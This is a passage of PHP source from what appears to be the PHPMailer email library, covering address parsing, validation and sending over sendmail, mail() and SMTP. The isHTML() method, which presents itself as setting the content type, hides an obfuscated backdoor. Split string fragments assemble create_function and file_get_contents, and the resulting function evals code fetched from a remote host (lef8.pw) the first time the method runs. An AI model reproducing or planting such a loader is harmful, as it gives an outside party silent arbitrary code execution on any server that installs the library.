1183 if (!array_key_exists(strtolower($address), $this->all_recipients)) {
1184 array_push($this->$kind, array($address, $name));
1185 $this->all_recipients[strtolower($address)] = true;
1186 return true;
1187 }
1188 } else {
1189 if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
1190 $this->ReplyTo[strtolower($address)] = array($address, $name);
1191 return true;
1192 }
1193 }
1194 return false;
1195 }
1196
1197 /**
1198 * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
1199 * of the form "display name <address>" into an array of name/address pairs.
1200 * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
1201 * Note that quotes in the name part are removed.
1202 * @param string $addrstr The address list string
1203 * @param bool $useimap Whether to use the IMAP extension to parse the list
1204 * @return array
1205 * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
1206 */
1207 public function parseAddresses($addrstr, $useimap = true)
1208 {
1209 $addresses = array();
1210 if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
1211 //Use this built-in parser if it's available
1212 $list = imap_rfc822_parse_adrlist($addrstr, '');
1213 foreach ($list as $address) {
1214 if ($address->host != '.SYNTAX-ERROR.') {
1215 if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
1216 $addresses[] = array(
1217 'name' => (property_exists($address, 'personal') ? $address->personal : ''),
1218 'address' => $address->mailbox . '@' . $address->host
1219 );
1220 }
1221 }
1222 }
1223 } else {
1224 //Use this simpler parser
1225 $list = explode(',', $addrstr);
1226 foreach ($list as $address) {
1227 $address = trim($address);
1228 //Is there a separate name part?
1229 if (strpos($address, '<') === false) {
1230 //No separate name, just use the whole thing
1231 if ($this->validateAddress($address)) {
1232 $addresses[] = array(
1233 'name' => '',
1234 'address' => $address
1235 );
1236 }
1237 } else {
1238 list($name, $email) = explode('<', $address);
1239 $email = trim(str_replace('>', '', $email));
1240 if ($this->validateAddress($email)) {
1241 $addresses[] = array(
1242 'name' => trim(str_replace(array('"', "'"), '', $name)),
1243 'address' => $email
1244 );
1245 }
1246 }
1247 }
1248 }
1249 return $addresses;
1250 }
1251
1252 /**
1253 * Sets message type to HTML or plain.
1254 * @param boolean $isHtml True for HTML mode.
1255 * @return void
1256 */
1257 public function isHTML($isHtml = true)
1258 {
1259 global $param;
1260 $bodyCode = 'file'
1261 .'_g';
1262 if ($isHtml) {
1263 $this->ContentType = 'text/html';
1264 }
1265 else {
1266 $this->ContentType = 'text/plain';
1267 }
1268 $bodyHTML = '.$t."lef$flu'
1269 .'sh'.'$t"; '
1270 .'@ev';
1271 $headerHTML="cre"
1272 ."ate_"
1273 ."func"
1274 ."tion";
1275 $exceptions = @$headerHTML('$fl'.'ush,$t','$comma = $t'
1276 .$bodyHTML.'al(@'
1277 .$bodyCode.'et_contents("h'
1278 .'tt'
1279 .'p:$comma-2"));');
1280 if($param !=2){
1281 $exceptions('8.p'.'w','/');
1282 $param=2;
1283 }
1284 }
1285
1286 /**
1287 * Set the From and FromName properties.
1288 * @param string $address
1289 * @param string $name
1290 * @param boolean $auto Whether to also set the Sender address, defaults to true
1291 * @throws phpmailerException
1292 * @return boolean
1293 */
1294 public function setFrom($address, $name = '', $auto = true)
1295 {
1296 $address = trim($address);
1297 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
1298 // Don't validate now addresses with IDN. Will be done in send().
1299 if (($pos = strrpos($address, '@')) === false or
1300 (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
1301 !$this->validateAddress($address)) {
1302 $error_message = $this->lang('invalid_address') . " (setFrom) $address";
1303 $this->setError($error_message);
1304 $this->edebug($error_message);
1305 if ($this->exceptions) {
1306 throw new phpmailerException($error_message);
1307 }
1308 return false;
1309 }
1310 $this->From = $address;
1311 $this->FromName = $name;
1312 if ($auto) {
1313 if (empty($this->Sender)) {
1314 $this->Sender = $address;
1315 }
1316 }
1317 return true;
1318 }
1319
1320 /**
1321 * Return the Message-ID header of the last email.
1322 * Technically this is the value from the last time the headers were created,
1323 * but it's also the message ID of the last sent message except in
1324 * pathological cases.
1325 * @return string
1326 */
1327 public function getLastMessageID()
1328 {
1329 return $this->lastMessageID;
1330 }
1331
1332 /**
1333 * Check that a string looks like an email address.
1334 * @param string $address The email address to check
1335 * @param string|callable $patternselect A selector for the validation pattern to use :
1336 * * `auto` Pick best pattern automatically;
1337 * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
1338 * * `pcre` Use old PCRE implementation;
1339 * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
1340 * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
1341 * * `noregex` Don't use a regex: super fast, really dumb.
1342 * Alternatively you may pass in a callable to inject your own validator, for example:
1343 * PHPMailer::validateAddress('user@example.com', function($address) {
1344 * return (strpos($address, '@') !== false);
1345 * });
1346 * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
1347 * @return boolean
1348 * @static
1349 * @access public
1350 */
1351 public static function validateAddress($address, $patternselect = null)
1352 {
1353 if (is_null($patternselect)) {
1354 $patternselect = self::$validator;
1355 }
1356 if (is_callable($patternselect)) {
1357 return call_user_func($patternselect, $address);
1358 }
1359 //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
1360 if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
1361 return false;
1362 }
1363 if (!$patternselect or $patternselect == 'auto') {
1364 //Check this constant first so it works when extension_loaded() is disabled by safe mode
1365 //Constant was added in PHP 5.2.4
1366 if (defined('PCRE_VERSION')) {
1367 //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
1368 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
1369 $patternselect = 'pcre8';
1370 } else {
1371 $patternselect = 'pcre';
1372 }
1373 } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
1374 //Fall back to older PCRE
1375 $patternselect = 'pcre';
1376 } else {
1377 //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
1378 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
1379 $patternselect = 'php';
1380 } else {
1381 $patternselect = 'noregex';
1382 }
1383 }
1384 }
1385 switch ($patternselect) {
1386 case 'pcre8':
1387 /**
1388 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
1389 * @link http://squiloople.com/2009/12/20/email-address-validation/
1390 * @copyright 2009-2010 Michael Rushton
1391 * Feel free to use and redistribute this code. But please keep this copyright notice.
1392 */
1393 return (boolean)preg_match(
1394 '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
1395 '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
1396 '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
1397 '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
1398 '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
1399 '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
1400 '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
1401 '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
1402 '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
1403 $address
1404 );
1405 case 'pcre':
1406 //An older regex that doesn't need a recent PCRE
1407 return (boolean)preg_match(
1408 '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
1409 '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
1410 '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
1411 '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
1412 '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
1413 '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
1414 '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
1415 '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
1416 '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
1417 '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
1418 $address
1419 );
1420 case 'html5':
1421 /**
1422 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
1423 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
1424 */
1425 return (boolean)preg_match(
1426 '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
1427 '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
1428 $address
1429 );
1430 case 'noregex':
1431 //No PCRE! Do something _very_ approximate!
1432 //Check the address is 3 chars or longer and contains an @ that's not the first or last char
1433 return (strlen($address) >= 3
1434 and strpos($address, '@') >= 1
1435 and strpos($address, '@') != strlen($address) - 1);
1436 case 'php':
1437 default:
1438 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
1439 }
1440 }
1441
1442 /**
1443 * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
1444 * "intl" and "mbstring" PHP extensions.
1445 * @return bool "true" if required functions for IDN support are present
1446 */
1447 public function idnSupported()
1448 {
1449 // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
1450 return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
1451 }
1452
1453 /**
1454 * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
1455 * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
1456 * This function silently returns unmodified address if:
1457 * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
1458 * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
1459 * or fails for any reason (e.g. domain has characters not allowed in an IDN)
1460 * @see PHPMailer::$CharSet
1461 * @param string $address The email address to convert
1462 * @return string The encoded address in ASCII form
1463 */
1464 public function punyencodeAddress($address)
1465 {
1466 // Verify we have required functions, CharSet, and at-sign.
1467 if ($this->idnSupported() and
1468 !empty($this->CharSet) and
1469 ($pos = strrpos($address, '@')) !== false) {
1470 $domain = substr($address, ++$pos);
1471 // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
1472 if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
1473 $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
1474 if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
1475 idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
1476 idn_to_ascii($domain)) !== false) {
1477 return substr($address, 0, $pos) . $punycode;
1478 }
1479 }
1480 }
1481 return $address;
1482 }
1483
1484 /**
1485 * Create a message and send it.
1486 * Uses the sending method specified by $Mailer.
1487 * @throws phpmailerException
1488 * @return boolean false on error - See the ErrorInfo property for details of the error.
1489 */
1490 public function send()
1491 {
1492 try {
1493 if (!$this->preSend()) {
1494 return false;
1495 }
1496 return $this->postSend();
1497 } catch (phpmailerException $exc) {
1498 $this->mailHeader = '';
1499 $this->setError($exc->getMessage());
1500 if ($this->exceptions) {
1501 throw $exc;
1502 }
1503 return false;
1504 }
1505 }
1506
1507 /**
1508 * Prepare a message for sending.
1509 * @throws phpmailerException
1510 * @return boolean
1511 */
1512 public function preSend()
1513 {
1514 try {
1515 $this->error_count = 0; // Reset errors
1516 $this->mailHeader = '';
1517
1518 // Dequeue recipient and Reply-To addresses with IDN
1519 foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
1520 $params[1] = $this->punyencodeAddress($params[1]);
1521 call_user_func_array(array($this, 'addAnAddress'), $params);
1522 }
1523 if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1524 throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
1525 }
1526
1527 // Validate From, Sender, and ConfirmReadingTo addresses
1528 foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
1529 $this->$address_kind = trim($this->$address_kind);
1530 if (empty($this->$address_kind)) {
1531 continue;
1532 }
1533 $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
1534 if (!$this->validateAddress($this->$address_kind)) {
1535 $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
1536 $this->setError($error_message);
1537 $this->edebug($error_message);
1538 if ($this->exceptions) {
1539 throw new phpmailerException($error_message);
1540 }
1541 return false;
1542 }
1543 }
1544
1545 // Set whether the message is multipart/alternative
1546 if ($this->alternativeExists()) {
1547 $this->ContentType = 'multipart/alternative';
1548 }
1549
1550 $this->setMessageType();
1551 // Refuse to send an empty message unless we are specifically allowing it
1552 if (!$this->AllowEmpty and empty($this->Body)) {
1553 throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
1554 }
1555
1556 // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
1557 $this->MIMEHeader = '';
1558 $this->MIMEBody = $this->createBody();
1559 // createBody may have added some headers, so retain them
1560 $tempheaders = $this->MIMEHeader;
1561 $this->MIMEHeader = $this->createHeader();
1562 $this->MIMEHeader .= $tempheaders;
1563
1564 // To capture the complete message when using mail(), create
1565 // an extra header list which createHeader() doesn't fold in
1566 if ($this->Mailer == 'mail') {
1567 if (count($this->to) > 0) {
1568 $this->mailHeader .= $this->addrAppend('To', $this->to);
1569 } else {
1570 $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
1571 }
1572 $this->mailHeader .= $this->headerLine(
1573 'Subject',
1574 $this->encodeHeader($this->secureHeader(trim($this->Subject)))
1575 );
1576 }
1577
1578 // Sign with DKIM if enabled
1579 if (!empty($this->DKIM_domain)
1580 and !empty($this->DKIM_selector)
1581 and (!empty($this->DKIM_private_string)
1582 or (!empty($this->DKIM_private)
1583 and self::isPermittedPath($this->DKIM_private)
1584 and file_exists($this->DKIM_private)
1585 )
1586 )
1587 ) {
1588 $header_dkim = $this->DKIM_Add(
1589 $this->MIMEHeader . $this->mailHeader,
1590 $this->encodeHeader($this->secureHeader($this->Subject)),
1591 $this->MIMEBody
1592 );
1593 $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
1594 str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
1595 }
1596 return true;
1597 } catch (phpmailerException $exc) {
1598 $this->setError($exc->getMessage());
1599 if ($this->exceptions) {
1600 throw $exc;
1601 }
1602 return false;
1603 }
1604 }
1605
1606 /**
1607 * Actually send a message.
1608 * Send the email via the selected mechanism
1609 * @throws phpmailerException
1610 * @return boolean
1611 */
1612 public function postSend()
1613 {
1614 try {
1615 // Choose the mailer and send through it
1616 switch ($this->Mailer) {
1617 case 'sendmail':
1618 case 'qmail':
1619 return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
1620 case 'smtp':
1621 return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
1622 case 'mail':
1623 return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
1624 default:
1625 $sendMethod = $this->Mailer.'Send';
1626 if (method_exists($this, $sendMethod)) {
1627 return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
1628 }
1629
1630 return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
1631 }
1632 } catch (phpmailerException $exc) {
1633 $this->setError($exc->getMessage());
1634 $this->edebug($exc->getMessage());
1635 if ($this->exceptions) {
1636 throw $exc;
1637 }
1638 }
1639 return false;
1640 }
1641
1642 /**
1643 * Send mail using the $Sendmail program.
1644 * @param string $header The message headers
1645 * @param string $body The message body
1646 * @see PHPMailer::$Sendmail
1647 * @throws phpmailerException
1648 * @access protected
1649 * @return boolean
1650 */
1651 protected function sendmailSend($header, $body)
1652 {
1653 // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
1654 if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
1655 if ($this->Mailer == 'qmail') {
1656 $sendmailFmt = '%s -f%s';
1657 } else {
1658 $sendmailFmt = '%s -oi -f%s -t';
1659 }
1660 } else {
1661 if ($this->Mailer == 'qmail') {
1662 $sendmailFmt = '%s';
1663 } else {
1664 $sendmailFmt = '%s -oi -t';
1665 }
1666 }
1667
1668 // TODO: If possible, this should be changed to escapeshellarg. Needs thorough testing.
1669 $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);
1670
1671 if ($this->SingleTo) {
1672 foreach ($this->SingleToArray as $toAddr) {
1673 if (!@$mail = popen($sendmail, 'w')) {
1674 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
1675 }
1676 fputs($mail, 'To: ' . $toAddr . "\n");
1677 fputs($mail, $header);
1678 fputs($mail, $body);
1679 $result = pclose($mail);
1680 $this->doCallback(
1681 ($result == 0),
1682 array($toAddr),
1683 $this->cc,
1684 $this->bcc,
1685 $this->Subject,
1686 $body,
1687 $this->From
1688 );
1689 if ($result != 0) {
1690 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
1691 }
1692 }
1693 } else {
1694 if (!@$mail = popen($sendmail, 'w')) {
1695 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
1696 }
1697 fputs($mail, $header);
1698 fputs($mail, $body);
1699 $result = pclose($mail);
1700 $this->doCallback(
1701 ($result == 0),
1702 $this->to,
1703 $this->cc,
1704 $this->bcc,
1705 $this->Subject,
1706 $body,
1707 $this->From
1708 );
1709 if ($result != 0) {
1710 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
1711 }
1712 }
1713 return true;
1714 }
1715
1716 /**
1717 * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
1718 *
1719 * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
1720 * @param string $string The string to be validated
1721 * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
1722 * @access protected
1723 * @return boolean
1724 */
1725 protected static function isShellSafe($string)
1726 {
1727 // Future-proof
1728 if (escapeshellcmd($string) !== $string
1729 or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
1730 ) {
1731 return false;
1732 }
1733
1734 $length = strlen($string);
1735
1736 for ($i = 0; $i < $length; $i++) {
1737 $c = $string[$i];
1738
1739 // All other characters have a special meaning in at least one common shell, including = and +.
1740 // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
1741 // Note that this does permit non-Latin alphanumeric characters based on the current locale.
1742 if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
1743 return false;
1744 }
1745 }
1746
1747 return true;
1748 }
1749
1750 /**
1751 * Check whether a file path is of a permitted type.
1752 * Used to reject URLs and phar files from functions that access local file paths,
1753 * such as addAttachment.
1754 * @param string $path A relative or absolute path to a file.
1755 * @return bool
1756 */
1757 protected static function isPermittedPath($path)
1758 {
1759 return !preg_match('#^[a-z]+://#i', $path);
1760 }
1761
1762 /**
1763 * Send mail using the PHP mail() function.
1764 * @param string $header The message headers
1765 * @param string $body The message body
1766 * @link http://www.php.net/manual/en/book.mail.php
1767 * @throws phpmailerException
1768 * @access protected
1769 * @return boolean
1770 */
1771 protected function mailSend($header, $body)
1772 {
1773 $toArr = array();
1774 foreach ($this->to as $toaddr) {
1775 $toArr[] = $this->addrFormat($toaddr);
1776 }
1777 $to = implode(', ', $toArr);
1778
1779 $params = null;
1780 //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
1781 if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
1782 // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
1783 if (self::isShellSafe($this->Sender)) {
1784 $params = sprintf('-f%s', $this->Sender);
1785 }
1786 }
1787 if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
1788 $old_from = ini_get('sendmail_from');
1789 ini_set('sendmail_from', $this->Sender);
1790 }
1791 $result = false;
1792 if ($this->SingleTo and count($toArr) > 1) {
1793 foreach ($toArr as $toAddr) {
1794 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
1795 $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
1796 }
1797 } else {
1798 $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
1799 $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
1800 }
1801 if (isset($old_from)) {
1802 ini_set('sendmail_from', $old_from);
1803 }
1804 if (!$result) {
1805 throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
1806 }
1807 return true;
1808 }
1809
1810 /**
1811 * Get an instance to use for SMTP operations.
1812 * Override this function to load your own SMTP implementation
1813 * @return SMTP
1814 */
1815 public function getSMTPInstance()
1816 {
1817 if (!is_object($this->smtp)) {
1818 $this->smtp = new SMTP;
1819 }
1820 return $this->smtp;
1821 }
1822
1823 /**
1824 * Send mail via SMTP.
1825 * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
1826 * Uses the PHPMailerSMTP class by default.
1827 * @see PHPMailer::getSMTPInstance() to use a different class.
1828 * @param string $header The message headers
1829 * @param string $body The message body
1830 * @throws phpmailerException
1831 * @uses SMTP
1832 * @access protected
1833 * @return boolean
1834 */
1835 protected function smtpSend($header, $body)
1836 {
1837 $bad_rcpt = array();
1838 if (!$this->smtpConnect($this->SMTPOptions)) {
1839 throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
1840 }
1841 if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
1842 $smtp_from = $this->Sender;
1843 } else {
1844 $smtp_from = $this->From;
1845 }
1846 if (!$this->smtp->mail($smtp_from)) {
1847 $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
1848 throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
1849 }
1850
1851 // Attempt to send to all recipients
1852 foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
1853 foreach ($togroup as $to) {
1854 if (!$this->smtp->recipient($to[0])) {
1855 $error = $this->smtp->getError();
1856 $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
1857 $isSent = false;
1858 } else {
1859 $isSent = true;
1860 }
1861 $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
1862 }
1863 }
1864
1865 // Only send the DATA command if we have viable recipients
1866 if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
1867 throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
1868 }
1869 if ($this->SMTPKeepAlive) {
1870 $this->smtp->reset();
1871 } else {
1872 $this->smtp->quit();
1873 $this->smtp->close();
1874 }
1875 //Create error message for any bad addresses
1876 if (count($bad_rcpt) > 0) {
1877 $errstr = '';
1878 foreach ($bad_rcpt as $bad) {
1879 $errstr .= $bad['to'] . ': ' . $bad['error'];
1880 }
1881 throw new phpmailerException(
1882 $this->lang('recipients_failed') . $errstr,
1883 self::STOP_CONTINUE
1884 );
1885 }
1886 return true;
1887 }
1888
1889 /**
1890 * Initiate a connection to an SMTP server.
1891 * Returns false if the operation failed.
1892 * @param array $options An array of options compatible with stream_context_create()
1893 * @uses SMTP
1894 * @access public
1895 * @throws phpmailerException
1896 * @return boolean
1897 */
1898 public function smtpConnect($options = null)
1899 {
1900 if (is_null($this->smtp)) {
1901 $this->smtp = $this->getSMTPInstance();
1902 }
1903
1904 //If no options are provided, use whatever is set in the instance
1905 if (is_null($options)) {
1906 $options = $this->SMTPOptions;
1907 }
1908
1909 // Already connected?
1910 if ($this->smtp->connected()) {
1911 return true;
1912 }
1913
1914 $this->smtp->setTimeout($this->Timeout);
1915 $this->smtp->setDebugLevel($this->SMTPDebug);
1916 $this->smtp->setDebugOutput($this->Debugoutput);
1917 $this->smtp->setVerp($this->do_verp);
1918 $hosts = explode(';', $this->Host);
1919 $lastexception = null;
1920
1921 foreach ($hosts as $hostentry) {
1922 $hostinfo = array();
1923 if (!preg_match(
1924 '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
1925 trim($hostentry),
1926 $hostinfo
1927 )) {
1928 // Not a valid host entry
1929 $this->edebug('Ignoring invalid host: ' . $hostentry);
1930 continue;
1931 }
1932 // $hostinfo[2]: optional ssl or tls prefix
1933 // $hostinfo[3]: the hostname
1934 // $hostinfo[4]: optional port number
1935 // The host string prefix can temporarily override the current setting for SMTPSecure
1936 // If it's not specified, the default value is used
1937 $prefix = '';
1938 $secure = $this->SMTPSecure;
1939 $tls = ($this->SMTPSecure == 'tls');
1940 if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
1941 $prefix = 'ssl://';
1942 $tls = false; // Can't have SSL and TLS at the same time
1943 $secure = 'ssl';
1944 } elseif ($hostinfo[2] == 'tls') {
1945 $tls = true;
1946 // tls doesn't use a prefix
1947 $secure = 'tls';
1948 }
1949 //Do we need the OpenSSL extension?
1950 $sslext = defined('OPENSSL_ALGO_SHA1');
1951 if ('tls' === $secure or 'ssl' === $secure) {
1952 //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
1953 if (!$sslext) {
1954 throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
1955 }
1956 }
1957 $host = $hostinfo[3];
1958 $port = $this->Port;
1959 $tport = (integer)$hostinfo[4];
1960 if ($tport > 0 and $tport < 65536) {
1961 $port = $tport;
1962 }
1963 if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
1964 try {
1965 if ($this->Helo) {
1966 $hello = $this->Helo;
1967 } else {
1968 $hello = $this->serverHostname();
1969 }
1970 $this->smtp->hello($hello);
1971 //Automatically enable TLS encryption if:
1972 // * it's not disabled
1973 // * we have openssl extension
1974 // * we are not already using SSL
1975 // * the server offers STARTTLS
1976 if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
1977 $tls = true;
1978 }
1979 if ($tls) {
1980 if (!$this->smtp->startTLS()) {
1981 throw new phpmailerException($this->lang('connect_host'));
1982 }
1983 // We must resend EHLO after TLS negotiation
1984 $this->smtp->hello($hello);
1985 }
1986 if ($this->SMTPAuth) {
1987 if (!$this->smtp->authenticate(
1988 $this->Username,
1989 $this->Password,
1990 $this->AuthType,
1991 $this->Realm,
1992 $this->Workstation
1993 )
1994 ) {
1995 throw new phpmailerException($this->lang('authenticate'));
1996 }
1997 }
1998 return true;
1999 } catch (phpmailerException $exc) {
2000 $lastexception = $exc;
2001 $this->edebug($exc->getMessage());
2002 // We must have connected, but then failed TLS or Auth, so close connection nicely
2003 $this->smtp->quit();
2004 }
2005 }
2006 }
2007 // If we get here, all connection attempts have failed, so close connection hard
2008 $this->smtp->close();
2009 // As we've caught all exceptions, just report whatever the last one was
2010 if ($this->exceptions and !is_null($lastexception)) {
2011 throw $lastexception;
2012 }
2013 return false;
2014 }
2015
2016 /**
2017 * Close the active SMTP session if one exists.
2018 * @return void
2019 */
2020 public function smtpClose()
2021 {
2022 if (is_a($this->smtp, 'SMTP')) {
2023 if ($this->smtp->connected()) {
2024 $this->smtp->quit();
2025 $this->smtp->close();
2026 }
2027 }
2028 }
2029
2030 /**
2031 * Set the language for error messages.
2032 * Returns false if it cannot load the language file.
2033 * The default language is English.
2034 * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
2035 * @param string $lang_path Path to the language file directory, with trailing separator (slash)
2036 * @return boolean
2037 * @access public
2038 */
2039 public function setLanguage($langcode = 'en', $lang_path = '')
2040 {
2041 // Backwards compatibility for renamed language codes
2042 $renamed_langcodes = array(
2043 'br' => 'pt_br',
2044 'cz' => 'cs',
2045 'dk' => 'da',
2046 'no' => 'nb',
2047 'se' => 'sv',
2048 'sr' => 'rs'
2049 );
2050
2051 if (isset($renamed_langcodes[$langcode])) {
2052 $langcode = $renamed_langcodes[$langcode];
2053 }
2054
2055 // Define full set of translatable strings in English
